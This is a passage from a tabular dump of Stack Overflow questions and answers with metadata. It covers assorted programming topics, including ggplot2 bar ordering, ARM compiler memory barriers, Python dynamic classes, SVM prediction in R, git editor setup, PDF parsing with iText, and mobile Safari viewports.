4500.55, 10644.54, 75132.98, 42676.41, 267.65, 392277.64, 33854.26,
384754.67, 7195.93, 88974.2, 20665.79, 7185.69, 45059.64, 60576.96,
3564.53, 1262.39, 9394.15)), .Names = c("mon", "gclass", "NG"
), row.names = c(NA, -40L), class = "data.frame")
ggplot(data,aes(mon,NG,fill=gclass))+geom_bar(stat="identity")
</code></pre> | 15,255,826 | 6 | 3 | null | 2013-03-06 15:47:56.713 UTC | 10 | 2021-04-07 17:46:41.32 UTC | 2013-03-06 16:12:41.9 UTC | null | 1,024,495 | null | 1,024,495 | null | 1 | 53 | r|graphics|ggplot2 | 85,856 | <p>You need to specify the <code>order</code> aesthetic as well.</p>
<pre><code>ggplot(data,aes(mon,NG,fill=gclass,order=gclass))+
geom_bar(stat="identity")
</code></pre>
<p><img src="https://i.stack.imgur.com/BTIbT.png" alt="enter image description here"></p>
<p>This may or may not be a <a href="https://github.com/hadley/ggplot2/issues/721" rel="noreferrer">bug</a>.</p> |
14,934,808 | How to convert .xcarchive to .ipa for client to submit app to app store using Application Loader | <p>We have created the .xcarchive file code signing with our client's certificate & distribution provisioning profile, but we need to send the .ipa file to our client so that they can upload the app to the App store using Application Loader.</p>
<p>The only way to create the .ipa file in Xcode 4.5 is clicking Distribute -> Save for Enterprise or Ad-Hoc Deployment which has a description underneath saying "Sign and package application for distribution outside of the iOS App Store".</p>
<p>If we save the .ipa file this way, will it cause any problem submitting to the app store? Or is there a proper way of converting the .xcarchive to .ipa?</p>
<p>Thanks in advance!</p> | 14,934,910 | 8 | 0 | null | 2013-02-18 11:05:20.293 UTC | 21 | 2022-05-02 10:39:51.167 UTC | 2017-06-13 11:32:55.37 UTC | null | 2,160,144 | null | 207,492 | null | 1 | 58 | ios|xcode|app-store|xcode4.5|ipa | 83,331 | <p>I also observed the same problem in one of my projects.</p>
<p>I resolved it by changing settings in target. For main project and dependency.</p>
<pre><code> skip Install NO
</code></pre>
<p>After this change, goto Xcode->Product->Archive->Save for Enterprise or Ad-Hoc Deployment</p>
<p>We followed the same process and uploaded through Application Loader and Apple approved the app.</p>
<p><img src="https://i.stack.imgur.com/SsWZU.png" alt="enter image description here"></p> |
14,950,614 | Working of __asm__ __volatile__ ("" : : : "memory") | <p>What basically <code>__asm__ __volatile__ ()</code> does and what is significance of <code>"memory"</code> for ARM architecture?</p> | 14,983,432 | 4 | 2 | null | 2013-02-19 05:40:17.813 UTC | 31 | 2016-10-26 04:16:04.57 UTC | 2014-11-25 11:29:37.953 UTC | null | 746,346 | null | 2,085,706 | null | 1 | 63 | c|gcc|arm|embedded-linux|volatile | 45,176 | <pre><code>asm volatile("" ::: "memory");
</code></pre>
<p>creates a compiler level memory barrier forcing optimizer to not re-order memory accesses across the barrier.</p>
<p>For example, if you need to access some address in a specific order (probably because that memory area is actually backed by a different device rather than a memory) you need to be able tell this to the compiler otherwise it may just optimize your steps for the sake of efficiency.</p>
<p>Assume in this scenario you must increment a value in address, read something and increment another value in an adjacent address. </p>
<pre><code>int c(int *d, int *e) {
int r;
d[0] += 1;
r = e[0];
d[1] += 1;
return r;
}
</code></pre>
<p>Problem is compiler (<code>gcc</code> in this case) can rearrange your memory access to get better performance if you ask for it (<code>-O</code>). Probably leading to a sequence of instructions like below:</p>
<pre><code>00000000 <c>:
0: 4603 mov r3, r0
2: c805 ldmia r0, {r0, r2}
4: 3001 adds r0, #1
6: 3201 adds r2, #1
8: 6018 str r0, [r3, #0]
a: 6808 ldr r0, [r1, #0]
c: 605a str r2, [r3, #4]
e: 4770 bx lr
</code></pre>
<p>Above values for <code>d[0]</code> and <code>d[1]</code> are loaded at the same time. Lets assume this is something you want to avoid then you need to tell compiler not to reorder memory accesses and that is to use <code>asm volatile("" ::: "memory")</code>.</p>
<pre><code>int c(int *d, int *e) {
int r;
d[0] += 1;
r = e[0];
asm volatile("" ::: "memory");
d[1] += 1;
return r;
}
</code></pre>
<p>So you'll get your instruction sequence as you want it to be:</p>
<pre><code>00000000 <c>:
0: 6802 ldr r2, [r0, #0]
2: 4603 mov r3, r0
4: 3201 adds r2, #1
6: 6002 str r2, [r0, #0]
8: 6808 ldr r0, [r1, #0]
a: 685a ldr r2, [r3, #4]
c: 3201 adds r2, #1
e: 605a str r2, [r3, #4]
10: 4770 bx lr
12: bf00 nop
</code></pre>
<p>It should be noted that this is only compile time memory barrier to avoid compiler to reorder memory accesses, as it puts no extra hardware level instructions to flush memories or wait for load or stores to be completed. CPUs can still reorder memory accesses if they have the architectural capabilities and memory addresses are on <code>normal</code> type instead of <code>strongly ordered</code> or <code>device</code> (<a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0211k/Babcddgd.html" rel="noreferrer">ref</a>).</p> |
15,247,075 | How can I dynamically create derived classes from a base class | <p>For example I have a base class as follows: </p>
<pre><code>class BaseClass(object):
def __init__(self, classtype):
self._type = classtype
</code></pre>
<p>From this class I derive several other classes, e.g.</p>
<pre><code>class TestClass(BaseClass):
def __init__(self):
super(TestClass, self).__init__('Test')
class SpecialClass(BaseClass):
def __init__(self):
super(TestClass, self).__init__('Special')
</code></pre>
<p>Is there a nice, pythonic way to create those classes dynamically by a function call that puts the new class into my current scope, like:</p>
<pre><code>foo(BaseClass, "My")
a = MyClass()
...
</code></pre>
<p>As there will be comments and questions why I need this: The derived classes all have the exact same internal structure with the difference, that the constructor takes a number of previously undefined arguments. So, for example, <code>MyClass</code> takes the keywords <code>a</code> while the constructor of class <code>TestClass</code> takes <code>b</code> and <code>c</code>. </p>
<pre><code>inst1 = MyClass(a=4)
inst2 = MyClass(a=5)
inst3 = TestClass(b=False, c = "test")
</code></pre>
<p>But they should NEVER use the type of the class as input argument like</p>
<pre><code>inst1 = BaseClass(classtype = "My", a=4)
</code></pre>
<p>I got this to work but would prefer the other way, i.e. dynamically created class objects. </p> | 15,247,892 | 3 | 2 | null | 2013-03-06 12:13:01.9 UTC | 50 | 2021-09-26 19:38:52.88 UTC | null | null | null | null | 1,581,090 | null | 1 | 118 | python|class|inheritance | 99,909 | <p>This bit of code allows you to create new classes with dynamic
names and parameter names.
The parameter verification in <code>__init__</code> just does not allow
unknown parameters, if you need other verifications, like
type, or that they are mandatory, just add the logic
there:</p>
<pre><code>class BaseClass(object):
def __init__(self, classtype):
self._type = classtype
def ClassFactory(name, argnames, BaseClass=BaseClass):
def __init__(self, **kwargs):
for key, value in kwargs.items():
# here, the argnames variable is the one passed to the
# ClassFactory call
if key not in argnames:
raise TypeError("Argument %s not valid for %s"
% (key, self.__class__.__name__))
setattr(self, key, value)
BaseClass.__init__(self, name[:-len("Class")])
newclass = type(name, (BaseClass,),{"__init__": __init__})
return newclass
</code></pre>
<p>And this works like this, for example:</p>
<pre><code>>>> SpecialClass = ClassFactory("SpecialClass", "a b c".split())
>>> s = SpecialClass(a=2)
>>> s.a
2
>>> s2 = SpecialClass(d=3)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<stdin>", line 8, in __init__
TypeError: Argument d not valid for SpecialClass
</code></pre>
<p>I see you are asking for inserting the dynamic names in the naming scope --
now, <em>that</em> is not considered a good practice in Python - you either have
variable names, known at coding time, or data - and names learned in runtime
are more "data" than "variables" - </p>
<p>So, you could just add your classes to a dictionary and use them from there:</p>
<pre><code>name = "SpecialClass"
classes = {}
classes[name] = ClassFactory(name, params)
instance = classes[name](...)
</code></pre>
<p>And if your design absolutely needs the names to come in scope,
just do the same, but use the dictionary returned by the <a href="https://docs.python.org/2/library/functions.html#globals" rel="noreferrer"><code>globals()</code></a>
call instead of an arbitrary dictionary:</p>
<pre><code>name = "SpecialClass"
globals()[name] = ClassFactory(name, params)
instance = SpecialClass(...)
</code></pre>
<p>(It indeed would be possible for the class factory function to insert the name dynamically on the global scope of the caller - but that is even worse practice, and is not compatible across Python implementations. The way to do that would be to get the caller's execution frame, through <a href="https://docs.python.org/2/library/sys.html#sys._getframe" rel="noreferrer">sys._getframe(1)</a> and setting the class name in the frame's global dictionary in its <code>f_globals</code> attribute).</p>
<p><strong>update, tl;dr:</strong> This answer had become popular, still its very specific to the question body. The general answer on how to
<em>"dynamically create derived classes from a base class"</em>
in Python is a simple call to <code>type</code> passing the new class name, a tuple with the baseclass(es) and the <code>__dict__</code> body for the new class -like this:</p>
<pre><code>>>> new_class = type("NewClassName", (BaseClass,), {"new_method": lambda self: ...})
</code></pre>
<p><strong>update</strong><br>
Anyone needing this should also check the <a href="https://pypi.python.org/pypi/dill" rel="noreferrer">dill</a> project - it claims to be able to pickle and unpickle classes just like pickle does to ordinary objects, and had lived to it in some of my tests.</p> |
15,020,826 | How to support placeholder attribute in IE8 and 9 | <p>I have a small issue, the <code>placeholder</code> attribute for input boxes is not supported in IE 8-9.</p>
<p>What is the best way to make this support in my project (ASP Net). I am using jQuery.
Need I use some other external tools for it?</p>
<p>Is <a href="http://www.hagenburger.net/BLOG/HTML5-Input-Placeholder-Fix-With-jQuery.html" rel="noreferrer">http://www.hagenburger.net/BLOG/HTML5-Input-Placeholder-Fix-With-jQuery.html</a> a good solution?</p> | 15,020,882 | 14 | 10 | null | 2013-02-22 09:30:02.82 UTC | 26 | 2017-10-19 10:08:13.553 UTC | 2014-03-27 09:37:30.55 UTC | null | 244,297 | null | 307,072 | null | 1 | 132 | html|internet-explorer|placeholder | 239,967 | <p>You could use this jQuery plugin:
<a href="https://github.com/mathiasbynens/jquery-placeholder" rel="noreferrer">https://github.com/mathiasbynens/jquery-placeholder</a></p>
<p>But your link seems to be also a good solution.</p> |
7,699,692 | Proof by Induction of Pseudo Code | <p>I don't really understand how one uses proof by induction on psuedocode. It doesn't seem to work the same way as using it on mathematical equations.</p>
<p>I'm trying to count the number of integers that are divisible by k in an array.</p>
<pre><code>Algorithm: divisibleByK (a, k)
Input: array a of n size, number to be divisible by k
Output: number of numbers divisible by k
int count = 0;
for i <- 0 to n do
if (check(a[i],k) = true)
count = count + 1
return count;
Algorithm: Check (a[i], k)
Input: specific number in array a, number to be divisible by k
Output: boolean of true or false
if(a[i] % k == 0) then
return true;
else
return false;
</code></pre>
<p>How would one prove that this is correct? Thanks</p> | 7,699,751 | 2 | 2 | null | 2011-10-08 20:49:13.76 UTC | 10 | 2014-06-04 15:05:40.64 UTC | 2011-10-08 21:49:27.603 UTC | null | 276,052 | null | 938,492 | null | 1 | 10 | algorithm|proof|induction | 7,897 | <p>In this case I would interpret "inductively" as "induction over the number of iterations".</p>
<p>To do this we first establish a so called <a href="http://en.wikipedia.org/wiki/Loop_invariant" rel="nofollow">loop-invariant</a>. In this case the loop invariant is:</p>
<p> <strong><code>count</code> stores the number of numbers divisible by <code>k</code> with index lower than <code>i</code>.</strong></p>
<p>This invariant holds upon loop-entry, and ensures that after the loop (when <code>i = n</code>) <code>count</code> holds the number of values divisible by <code>k</code> in <em>whole</em> array.</p>
<p>The induction looks like this:</p>
<ol>
<li><p><strong>Base case</strong>: The loop invariant holds upon loop entry (after 0 iterations)</p>
<p>Since <code>i</code> equals 0, no elements have index lower than <code>i</code>. Therefore no elements with index less than <code>i</code> are divisible by <code>k</code>. Thus, since <code>count</code> equals 0 the invariant holds.</p></li>
<li><p><strong>Induction hypothesis</strong>: We assume that the invariant holds at the <em>top of the loop</em>.</p></li>
<li><p><strong>Inductive step</strong>: We show that the invariant holds at the <em>bottom of the loop body</em>.</p>
<p>After the body has been executed, <code>i</code> has been incremented by one. For the loop invariant to hold at the end of the loop, <code>count</code> must have been adjusted accordingly.</p>
<p>Since there is now one more element (<code>a[i]</code>) which has an index less than (the new) <code>i</code>, <code>count</code> should have been incremented by one if (and only if) <code>a[i]</code> is divisible by <code>k</code>, which is precisely what the if-statement ensures.</p>
<p><em>Thus</em> the loop invariant holds also after the body has been executed.</p></li>
</ol>
<p>Qed.</p>
<hr>
<p>In <a href="http://en.wikipedia.org/wiki/Hoare_triple" rel="nofollow">Hoare-logic</a> it's proved (formally) like this (rewriting it as a while-loop for clarity):</p>
<pre><code>{ I }
{ I[0 / i] }
i = 0
{ I }
while (i < n)
{ I ∧ i < n }
if (check(a[i], k) = true)
{ I[i + 1 / i] ∧ check(a[i], k) = true }
{ I[i + 1 / i][count + 1 / count] }
count = count + 1
{ I[i + 1 / i] }
{ I[i + 1 / i] }
i = i + 1
{ I }
{ I ∧ i ≮ n }
{ count = ∑ 0 x < n; 1 if a[x] ∣ k, 0 otherwise. }
</code></pre>
<p>Where <code>I</code> (the invariant) is:</p>
<p> <code>count</code> = ∑<sub>x < i</sub> 1 if <code>a[x]</code>∣<em>k</em>, 0 otherwise.</p>
<p>(For any two consecutive assertion lines (<code>{...}</code>) there is a proof-obligation (first assertion must imply the next) which I leave as an exercise for the reader ;-)</p> |
7,782,501 | How to Interpret Predict Result of SVM in R? | <p>I'm new to R and I'm using the <code>e1071</code> package for SVM classification in R.</p>
<p>I used the following code:</p>
<pre><code>data <- loadNumerical()
model <- svm(data[,-ncol(data)], data[,ncol(data)], gamma=10)
print(predict(model, data[c(1:20),-ncol(data)]))
</code></pre>
<p>The <code>loadNumerical</code> is for loading data, and the data are of the form(first 8 columns are input and the last column is classification) :</p>
<pre><code> [,1] [,2] [,3] [,4] [,5] [,6] [,7] [,8] [,9]
1 39 1 -1 43 -1 1 0 0.9050497 0
2 23 -1 -1 30 -1 -1 0 1.6624974 1
3 50 -1 -1 49 1 1 2 1.5571429 0
4 46 -1 1 19 -1 -1 0 1.3523685 0
5 36 1 1 29 -1 1 1 1.3812029 1
6 27 -1 -1 19 1 1 0 1.9403649 0
7 36 -1 -1 25 -1 1 0 2.3360004 0
8 41 1 1 23 1 -1 1 2.4899738 0
9 21 -1 -1 18 1 -1 2 1.2989637 1
10 39 -1 1 21 -1 -1 1 1.6121595 0
</code></pre>
<p>The number of rows in the data is 500.</p>
<p>As shown in the code above, I tested the first 20 rows for prediction. And the output is:</p>
<pre><code> 1 2 3 4 5 6 7
0.04906014 0.88230392 0.04910760 0.04910719 0.87302217 0.04898187 0.04909523
8 9 10 11 12 13 14
0.04909199 0.87224979 0.04913189 0.04893709 0.87812890 0.04909588 0.04910999
15 16 17 18 19 20
0.89837037 0.04903778 0.04914173 0.04897789 0.87572114 0.87001066
</code></pre>
<p>I can tell intuitively from the result that when the result is close to 0, it means 0 class, and if it's close to 1 it's in the 1 class.</p>
<p>But my question is how can I <strong>precisely</strong> interpret the result: is there a threshold <em>s</em> I can use so that values below <em>s</em> are classified as 0 and values above <em>s</em> are classified as 1 ?</p>
<p>If there exists such <em>s</em>, how can I derive it ?</p> | 7,782,746 | 2 | 2 | null | 2011-10-16 05:12:45.763 UTC | 13 | 2011-10-16 06:26:42.917 UTC | 2011-10-16 06:26:42.917 UTC | null | 160,314 | null | 639,165 | null | 1 | 24 | r|classification|svm | 28,787 | <p>Since your outcome variable is numeric, it uses the regression formulation of SVM. I think you want the classification formulation. You can change this by either coercing your outcome into a factor, or setting <code>type="C-classification"</code>.</p>
<p><strong>Regression:</strong></p>
<pre><code>> model <- svm(vs ~ hp+mpg+gear,data=mtcars)
> predict(model)
Mazda RX4 Mazda RX4 Wag Datsun 710 Hornet 4 Drive
0.8529506670 0.8529506670 0.9558654451 0.8423224174
Hornet Sportabout Valiant Duster 360 Merc 240D
0.0747730699 0.6952501964 0.0123405904 0.9966162477
Merc 230 Merc 280 Merc 280C Merc 450SE
0.9494836511 0.7297563543 0.6909235343 -0.0327165348
Merc 450SL Merc 450SLC Cadillac Fleetwood Lincoln Continental
-0.0092851098 -0.0504982402 0.0319974842 0.0504292348
Chrysler Imperial Fiat 128 Honda Civic Toyota Corolla
-0.0504750284 0.9769206963 0.9724676874 0.9494910097
Toyota Corona Dodge Challenger AMC Javelin Camaro Z28
0.9496260289 0.1349744908 0.1251344111 0.0395243313
Pontiac Firebird Fiat X1-9 Porsche 914-2 Lotus Europa
0.0983094417 1.0041732099 0.4348209129 0.6349628695
Ford Pantera L Ferrari Dino Maserati Bora Volvo 142E
0.0009258333 0.0607896408 0.0507385269 0.8664157985
</code></pre>
<p><strong>Classification:</strong></p>
<pre><code>> model <- svm(as.factor(vs) ~ hp+mpg+gear,data=mtcars)
> predict(model)
Mazda RX4 Mazda RX4 Wag Datsun 710 Hornet 4 Drive
1 1 1 1
Hornet Sportabout Valiant Duster 360 Merc 240D
0 1 0 1
Merc 230 Merc 280 Merc 280C Merc 450SE
1 1 1 0
Merc 450SL Merc 450SLC Cadillac Fleetwood Lincoln Continental
0 0 0 0
Chrysler Imperial Fiat 128 Honda Civic Toyota Corolla
0 1 1 1
Toyota Corona Dodge Challenger AMC Javelin Camaro Z28
1 0 0 0
Pontiac Firebird Fiat X1-9 Porsche 914-2 Lotus Europa
0 1 0 1
Ford Pantera L Ferrari Dino Maserati Bora Volvo 142E
0 0 0 1
Levels: 0 1
</code></pre>
<p>Also, if you want probabilities as your prediction rather than just the raw classification, you can do that by fitting with the probability option.</p>
<p><strong>With Probabilities:</strong></p>
<pre><code>> model <- svm(as.factor(vs) ~ hp+mpg+gear,data=mtcars,probability=TRUE)
> predict(model,mtcars,probability=TRUE)
Mazda RX4 Mazda RX4 Wag Datsun 710 Hornet 4 Drive
1 1 1 1
Hornet Sportabout Valiant Duster 360 Merc 240D
0 1 0 1
Merc 230 Merc 280 Merc 280C Merc 450SE
1 1 1 0
Merc 450SL Merc 450SLC Cadillac Fleetwood Lincoln Continental
0 0 0 0
Chrysler Imperial Fiat 128 Honda Civic Toyota Corolla
0 1 1 1
Toyota Corona Dodge Challenger AMC Javelin Camaro Z28
1 0 0 0
Pontiac Firebird Fiat X1-9 Porsche 914-2 Lotus Europa
0 1 0 1
Ford Pantera L Ferrari Dino Maserati Bora Volvo 142E
0 0 0 1
attr(,"probabilities")
0 1
Mazda RX4 0.2393753 0.76062473
Mazda RX4 Wag 0.2393753 0.76062473
Datsun 710 0.1750089 0.82499108
Hornet 4 Drive 0.2370382 0.76296179
Hornet Sportabout 0.8519490 0.14805103
Valiant 0.3696019 0.63039810
Duster 360 0.9236825 0.07631748
Merc 240D 0.1564898 0.84351021
Merc 230 0.1780135 0.82198650
Merc 280 0.3402143 0.65978567
Merc 280C 0.3829336 0.61706640
Merc 450SE 0.9110862 0.08891378
Merc 450SL 0.8979497 0.10205025
Merc 450SLC 0.9223868 0.07761324
Cadillac Fleetwood 0.9187301 0.08126994
Lincoln Continental 0.9153549 0.08464509
Chrysler Imperial 0.9358186 0.06418140
Fiat 128 0.1627969 0.83720313
Honda Civic 0.1649799 0.83502008
Toyota Corolla 0.1781531 0.82184689
Toyota Corona 0.1780519 0.82194807
Dodge Challenger 0.8427087 0.15729129
AMC Javelin 0.8496198 0.15038021
Camaro Z28 0.9190294 0.08097056
Pontiac Firebird 0.8361349 0.16386511
Fiat X1-9 0.1490934 0.85090660
Porsche 914-2 0.5797194 0.42028060
Lotus Europa 0.4169587 0.58304133
Ford Pantera L 0.8731716 0.12682843
Ferrari Dino 0.8392372 0.16076281
Maserati Bora 0.8519422 0.14805785
Volvo 142E 0.2289231 0.77107694
</code></pre> |
8,951,275 | How can I make Sublime Text the default editor for Git? | <p>I have a problem setting Sublime Text 2 as the <code>core.editor</code> with <code>git</code>.</p>
<p>I've read through every post I could find addressing the problem, but still nothing is working for me. I am running Windows.</p>
<p>I have done:</p>
<pre><code>git config --global core.editor "'C:/Program Files/Sublime Text 2/sublime_text.exe'"
</code></pre>
<p>and tried that with various arguments like <code>-m</code>. When I open my <code>.gitconfig</code>, this is what is in there:</p>
<pre><code>[user]
name = Spencer Moran
email = [email protected]
[core]
editor = 'C:/Program Files/Sublime Text 2/sublime_text.exe'
</code></pre>
<p>If I go to Git and type:</p>
<pre><code>README.markdown --edit
</code></pre>
<p>the README file opens in Notepad, not Sublime Text.</p>
<p>Does anyone have any idea what I'm doing wrong or how I could fix this?</p> | 9,408,117 | 17 | 3 | null | 2012-01-21 06:52:03.823 UTC | 104 | 2022-09-08 06:45:12.833 UTC | 2016-09-26 09:41:44.003 UTC | null | 6,199,855 | null | 1,161,982 | null | 1 | 242 | git|editor|default|sublimetext|git-config | 99,863 | <h2>Windows</h2>
<h3>Sublime Text 2 (Build 2181)</h3>
<p>The latest <a href="http://www.sublimetext.com/blog/articles/sublime-text-2-build-2181" rel="noreferrer">Build 2181</a> just added support for the <code>-w</code> (wait) command line argument. The following configuration will allow ST2 to work as your default git editor on Windows. This will allow git to open ST2 for commit messages and such.</p>
<pre><code>git config --global core.editor "'c:/program files/sublime text 2/sublime_text.exe' -w"
</code></pre>
<h3>Sublime Text 3 (Build 3065)</h3>
<p><a href="http://www.sublimetext.com/3" rel="noreferrer">Sublime Text 3</a> (Build 3065) added the <code>subl.exe</code> command line helper. Use <code>subl.exe -h</code> for the options available to you. I have <code>hot_exit: true</code> and <code>remember_open_files: true</code> set in my Sublime Text user settings. I have found the following to git config to work well for me.</p>
<pre><code>git config --global core.editor "'c:/program files/sublime text 3/subl.exe' -w"
</code></pre>
<hr>
<h2>Mac and Linux</h2>
<p>Set Sublime as your editor for Git by typing the following command in the terminal:</p>
<p><code>git config --global core.editor "subl -n -w"</code></p>
<hr>
<p>With this Git config, the new tab is opened in my editor. I edit my commit message, save the tab (<kbd>Ctrl</kbd>+<kbd>S</kbd>) and close it (<kbd>Ctrl</kbd>+<kbd>W</kbd>).</p>
<p>Git will wait until the tab is closed to continue its work.</p> |
5,140,539 | Android configuration file | <p>What is the best way and how do I set up a configuration file for a application?</p>
<p>I want the application to be able to look into a text file on the SD card and pick out certain information that it requires.</p> | 5,140,594 | 4 | 4 | null | 2011-02-28 10:03:49.253 UTC | 23 | 2021-11-08 09:36:59.763 UTC | 2021-07-27 17:48:45.04 UTC | null | 63,550 | null | 569,654 | null | 1 | 47 | android|configuration|configuration-files | 102,136 | <p>You can achieve this using <a href="http://developer.android.com/reference/android/content/SharedPreferences.html" rel="nofollow noreferrer">shared preferences</a></p>
<p>There is a very detailed guide on how to use Shared Preferences on the Google Android page
<a href="https://developer.android.com/guide/topics/data/data-storage.html#pref" rel="nofollow noreferrer">https://developer.android.com/guide/topics/data/data-storage.html#pref</a></p> |
5,302,611 | How to use the "ALL" aggregate operation in a NSPredicate to filter a CoreData-based collection | <p>Based on the data model below</p>
<p><img src="https://i.stack.imgur.com/Zjr8b.png" alt="dataModel"></p>
<p>And based on user input I create a NSSet of managedObjects of entity Tag called <em>selectedTags</em>.</p>
<hr>
<h2>My problem:</h2>
<pre><code>[NSPredicate predicateWithFormat:@"ANY entryTags IN %@", selectedTags];
</code></pre>
<p>... this will return <em>any</em> Entry with at least one entryTag that is in the selectedTags set.</p>
<p>I want something along the lines of:</p>
<pre><code>[NSPredicate predicateWithFormat:@"ALL entryTags IN %@", selectedTags];
</code></pre>
<p>... notice the only change is the "ANY" to "ALL". This illustrates what I want, but does not work. </p>
<p>To formulate the outcome I expect:</p>
<p>I'm looking for a solution that will return only Entries who's entryTags are all in the selectedTags list (but at the same time, if possible, not necessarily the other way around).</p>
<p>To further illustrate:</p>
<p>(tag)Mom<br>
(tag)Dad<br>
(tag)Gifts </p>
<p>(entry)she is a she.....(tag)mom<br>
(entry)he is a he........(tag)dad<br>
(entry)gifts for mom...(tags:)mom, gifts<br>
(entry)gifts for dad.....(tags:)dad, gifts</p>
<p>If selectedTags contains "mom" and "gifts", then the entry "gifts for dad" will show up, since it has the tag "gifts". I'd rather have it not show :)</p> | 9,959,301 | 5 | 2 | null | 2011-03-14 18:15:16.897 UTC | 16 | 2013-11-24 19:37:04.017 UTC | 2011-10-16 01:58:54.947 UTC | null | 3,847 | null | 659,310 | null | 1 | 16 | objective-c|ios|core-data|nspredicate | 8,556 | <p>This is the definite answer so far:</p>
<pre><code>[NSPredicate predicateWithFormat:@"SUBQUERY(entryTags, $tag, $tag IN %@).@count = %d", selectedTags, [selectedTags count]];
</code></pre>
<p>B-E-A-U-T-I-F-U-L.</p>
<p>Thanks to Dave DeLong.</p> |
5,449,903 | Advanced PDF parser for Java | <p>I want to extract different content from a PDF file in Java:</p>
<ul>
<li>The complete visible text</li>
<li>images</li>
<li>links</li>
</ul>
<p>Is it also possible to get the following?</p>
<ul>
<li>document meta tags like title, description or author</li>
<li>only headlines</li>
<li>input elements if the document contains a form</li>
</ul>
<p>I do not need to manipulate or render PDF files. Which library would be the best fit for that kind of purpose?</p>
<p><strong>UPDATE</strong></p>
<p>OK, I tried PDFBox:</p>
<pre><code>Document luceneDocument = LucenePDFDocument.getDocument(new File(path));
Field contents = luceneDocument.getField("contents");
System.out.println(contents.stringValue());
</code></pre>
<p>But the output is null. The field "summary" is OK though.</p>
<p>The next snippet works fine.</p>
<pre><code>PDDocument doc = PDDocument.load(path);
PDFTextStripper stripper = new PDFTextStripper();
String text = stripper.getText(doc);
System.out.println(text);
doc.close();
</code></pre>
<p>But then, I have no clue how to extract the images, links, etc.</p>
<p><strong>UPDATE 2</strong></p>
<p>I found an example how to extract the images, but I still got no answer on how to extract:</p>
<ul>
<li>links</li>
<li>document meta tags like title, description or author</li>
<li>only headlines</li>
<li>input elements if the document contains a form</li>
</ul> | 5,462,554 | 5 | 3 | null | 2011-03-27 14:36:50.643 UTC | 12 | 2015-03-05 23:07:51.603 UTC | 2011-08-23 18:19:51.893 UTC | null | 63,550 | null | 675,065 | null | 1 | 18 | java|parsing|pdf | 69,820 | <p><a href="http://www.itextpdf.com/" rel="noreferrer">iText</a> is my PDF tool of choice these days.</p>
<blockquote>
<ul>
<li>The complete visible text</li>
</ul>
</blockquote>
<p>"Visible" is a tough one. You can parse out all the parsable text with the com.itextpdf.text.pdf.parse package's classes... but those classes don't know about CLIPPING. You can constrain the parser to the page size easily enough.</p>
<pre><code>// all text on the page, regardless of position
PdfTextExtractor.getTextFromPage(reader, pageNum);
</code></pre>
<p>You'd actually need the override that takes a TextExtractionStrategy, the filtered strategy. It gets interesting fairly quickly, but I think you can get everything you want here "out of the box".</p>
<blockquote>
<ul>
<li>images</li>
</ul>
</blockquote>
<p>Yep, via the same package classes. Image listeners aren't as well supported as text listeners, but do exist.</p>
<blockquote>
<ul>
<li>links</li>
</ul>
</blockquote>
<p>Yes. Links are "annotations" to various PDF pages. Finding them is a simple matter of looping through each page's "annotations array" and picking out the link annotations.</p>
<pre><code>PdfDictionary pageDict = myReader.getPageN(1);
PdfArray annots = pageDict.getAsArray(PdfName.ANNOTS);
ArrayList<String> dests = new ArrayList<String>();
if (annots != null) {
for (int i = 0; i < annots.size(); ++i) {
PdfDictionary annotDict = annots.getAsDict(i);
PdfName subType = annotDict.getAsName(PdfName.SUBTYPE);
if (subType != null && PdfName.LINK.equals(subType)) {
PdfDictionary action = annotDict.getAsDict(PdfName.A);
if (action != null && PdfName.URI.equals(action.getAsName(PdfName.S)) {
dests.add(action.getAsString(PdfName.URI).toString());
} // else { its an internal link, meh }
}
}
}
</code></pre>
<p>You can find the <a href="http://www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/PDF32000_2008.pdf" rel="noreferrer">PDF Spec here</a>.</p>
<blockquote>
<ul>
<li>input elements</li>
</ul>
</blockquote>
<p>Definitely. For either XFA (LiveCycle Designer) or the older-tech "AcroForm" forms, iText can find all the fields, and their values.</p>
<pre><code>AcroFields fields = myReader.getAcroFields();
Set<String> fieldNames = fields.getFields().keySet();
for (String fldName : fieldNames) {
System.out.println( fldName + ": " + fields.getField( fldName ) );
}
</code></pre>
<p>Mutli-select lists wouldn't be handled all that well. You'll get a blank space after the colon for empty text fields and for buttons. None too informative... but that'll get you started.</p>
<blockquote>
<ul>
<li>document meta tags like title, description or author</li>
</ul>
</blockquote>
<p>Pretty trivial. Yes.</p>
<pre><code>Map<String, String> info = myPdfReader.getInfo();
System.out.println( info );
</code></pre>
<p>In addition to the basic author/title/etc, there's a fairly involved XML schema you can access via <code>reader.getMetadata()</code>.</p>
<blockquote>
<ul>
<li>only headlines</li>
</ul>
</blockquote>
<p>A <code>TextRenderFilter</code> can ignore text based on whatever criteria you wish. Font size sounds about right based on your comment.</p> |
5,543,495 | Mobile Safari Viewport - Preventing Horizontal Scrolling? | <p>I'm trying to configure a viewport for mobile Safari. Using the viewport meta tag, I am trying to ensure that there's no zooming, and that you can't scroll the view horizontally. This is the meta tag I'm using:</p>
<pre><code><meta id="viewport" name="viewport" content ="width=device-width, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />
</code></pre>
<p>On my iPhone when I load the page, it seems to look okay:</p>
<p><img src="https://i.stack.imgur.com/sRuk3.png" alt="screenshot"></p>
<p>But I can scroll horizontally, so that it looks like this (this is as far to the right as I can go:</p>
<p><img src="https://i.stack.imgur.com/k9Go4.png" alt="screenshot"></p>
<p>When I swing it into landscape view, the page renders as expected, locking the horizontal scroll position. </p>
<p>I'm trying to figure out how to make this page not scroll horizontally at all. Is it possible that I've got some page element pushing the content out? I wouldn't even expect that to be possible with a correct viewport set, but I'm grasping at straws here.</p> | 5,588,462 | 5 | 0 | null | 2011-04-04 19:43:36.44 UTC | 9 | 2022-08-13 11:53:46.353 UTC | 2013-02-11 07:01:29.433 UTC | null | 31,671 | null | 105,728 | null | 1 | 24 | mobile|mobile-safari|viewport | 65,229 | <blockquote>
<p>Is it possible that I've got some page element pushing the content out?</p>
</blockquote>
<p>Yes, that is indeed the case. The viewport setting only defines the visible viewport area but does not deal with turning off sideway panning. </p>
<p>So, in order to avoid this from happening, set an overflow:hidden on the element that contains your content, or else, avoid elements from overflowing.</p>
<p>NB: other mobile browsers also support the viewport meta tag since a while, so you'll want to test in those as well.</p> |
4,903,083 | Textbox padding | <p>I've searched through the internet, I must be using the wrong keywords because I can't find anything. I want to create a textbox that has text starting from a little far from the left.</p>
<p><img src="https://i.stack.imgur.com/SWKz9.png" alt="http://dab.biz/images/screenie/2011-02-04_1316.png"></p>
